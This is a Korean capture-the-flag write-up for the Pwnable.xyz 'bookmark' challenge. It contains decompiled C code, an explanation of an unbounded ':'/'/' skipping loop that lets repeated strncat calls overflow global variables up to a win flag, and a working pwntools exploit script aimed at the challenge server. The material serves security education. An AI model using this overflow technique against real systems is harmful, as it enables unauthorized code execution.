tmxklab

[Pwnable.xyz] bookmark 본문

War Game/Pwnable.xyz

[Pwnable.xyz] bookmark

tmxk4221 2020. 9. 9. 22:01

1. 문제

nc svc.pwnable.xyz 30021

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

(참고로, 변수 이름을 조금 수정했음)

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  init_login();
  puts("Web bookmarks.");
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned __int64)(unsigned int)read_long() )
    {
      case 0uLL:
        return 0;
      case 1uLL:
        printf("Password: ");
        if ( password == (int)read_long() )
          goto_win = 1;
        break;
      case 2uLL:
        create_url();
        break;
      case 3uLL:
        printf("url: %s\n", bm);
        break;
      case 4uLL:
        if ( goto_win )
        {
          puts("Not Implemented.");
          puts("But here is a reward.");
          win();
        }
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
  • init_log()이 호출되고 while루프가 돌면서 4가지 메뉴를 선택할 수 있다.
  • 1번 메뉴는 password(전역변수)의 값이 입력 값과 동일하면 goto_win(전역변수)에 1로 세팅하는 기능을 가지며 이후에 4번 메뉴를 선택하면 win()를 호출할 수 있다.
  • 2번 메뉴는 create_url()을 호출하고 3번 메뉴는 bm(전역 변수)에 있는 값을 출력한다.

 

3-2) init_login()

int init_login()
{
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
    exit(1);
  read(fd, &password, 8uLL);
  return close(fd);
}
  • 8bytes만큼 랜덤 값을 password에 저장한다.

 

3-3) create_url()

int create_url()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char *v2; // [rsp+10h] [rbp-10h]
  void *buf; // [rsp+18h] [rbp-8h]

  printf("Secure or insecure: ");
  read(0, bm, 9uLL);
  if ( strncmp(bm, "http", 4uLL) )
    return puts("Not a valid URL.");
  if ( https == 's' )
    v2 = (char *)&unk_202205;
  else
    v2 = &https;
  while ( *v2 == ':' || *v2 == '/' )
    ++v2;
  *v2 = 0;
  printf("Size of url: ");
  v1 = read_long();
  if ( v1 < 0 || v1 > 127 )
    return puts("Too large.");
  buf = malloc(v1);
  read(0, buf, v1);
  return (unsigned __int64)strncat(bm, (const char *)buf, 0x100uLL);
}
  • read()를 통해 bm(전역변수)에 9byte만큼 입력을 받는다.
  • bm에 4byte만큼 검사하여 http가 존재하는지 확인하여 존재하지 않으면 return한다.
  • https(전역변수)에 s가 들어갔는지 확인하여 존재하면 v2에 unk_202205의 주소 값을 저장하고 존재하지 않으면 v2에 https의 주소 값을 저장한다. 참고로 https는 bm으로부터 5byte 떨어진 곳이므로 아까 bm에서 입력을 받았을 때 만약 https를 입력으로 받는다면 https(전역변수)에는 s가 저장된다.
  • v2에 ":" 또는 "/"가 존재하면 계속 v2의 포인터를 한 바이트씩 증가한다. 여기서 while루프를 시작할 때 v2는 unk_202205의 주소가 될 수 있고 https의 주소가 될 수 있다.
  • 존재하지 않으면 while루프는 종료되고 v2가 가리키는 주소에 널 바이트를 넣는다.
  • 사이즈(범위 1 ~ 126)에 대한 입력을 받아 malloc하여 청크의 주소를 buf에 저장하고 read()를 통해 v1사이즈 만큼의 입력 값을 buf에 저장한다.
  • 마지막으로 bm에 buf의 입력 값을 0x100만큼 이어 붙인다.

 

전역 변수)

  • bm : 0x202200
  • https : 0x202204
  • unk_202205 : 0x202205
  • password : 0x202300
  • goto_win : 0x202308

 


2. 접근방법

 

위 분석을 통해 간단하게 goto_win(전역변수)의 값이 0이 아니면 win()를 호출하여 쉘을 딸 수 있을 것이다. 그러기 위해서는 goto_win변수 전에 여러 개의 변수가 존재하므로 goto_win까지 overflow를 일으켜야 될 것 같다.

create_url()에서 보면 "http" 또는 "https"문자열이 저장된 bm에 buf에 들어있는 문자열을 이어 붙일 수 있지만 bm(0x202200)에서부터 goto_win(0x202308)까지 덮기에는 사이즈 제한이 걸려있다.

 

그러나 벗 B.U.T 아까 전에 create_url()에 빨간색으로 표시한 부분을 보면

  while ( *v2 == ':' || *v2 == '/' )
    ++v2;
  *v2 = 0;

v2에 ":" 또는 "/"문자가 존재하면 v2의 포인터를 계속 옮긴다. 만약에, 문자열에 bm은 http로 두고 buf에 "::::::"를 입력하면 strncat에 의해 "http:::::"문자열이 만들어지고 다음 create_url에서 저 whil루프로 인해 v2포인터는 "http"다음이 아니라 "http:::::"문자열의 끝을 가리키고 널 바이트를 넣을 것이다.

 

그렇다. 로직 버그 문제이다. while루프 조건문에서 경계값 검사를 제대로 안했기 때문에 bm부터 계속 이어붙이면 goto_win까지 overflow가 발생한다.

총 "http"문자열 포함 273(272 + 1)byte를 덮어야하며 <bm+256>에는 password값이 존재하는데 걍 덮어도 됨

 

 

 


3. 풀이

 

1) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30021)
#gdb.attach(p)

p.sendlineafter("> ", str(2))
p.sendafter(": ", "http")
p.sendlineafter(": ", str(126))
#sleep(3)
p.send(":"*126)

p.sendlineafter("> ", str(2))
p.sendafter(": ", "http")
p.sendlineafter(": ", str(126))
#sleep(3)
p.send(":"*126)

p.sendlineafter("> ", str(2))
p.sendafter(": ", "http")
p.sendlineafter(": ", str(17))
#sleep(3)
p.send(":"*17)

p.sendlineafter("> ", str(4))

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] catalog  (0) 2020.09.09
[Pwnable.xyz] PvP  (0) 2020.09.09
[Pwnable.xyz] rwsr  (0) 2020.09.09
[Pwnable.xyz] fclose  (0) 2020.09.09
[Pwnable.xyz] message  (0) 2020.09.09
Comments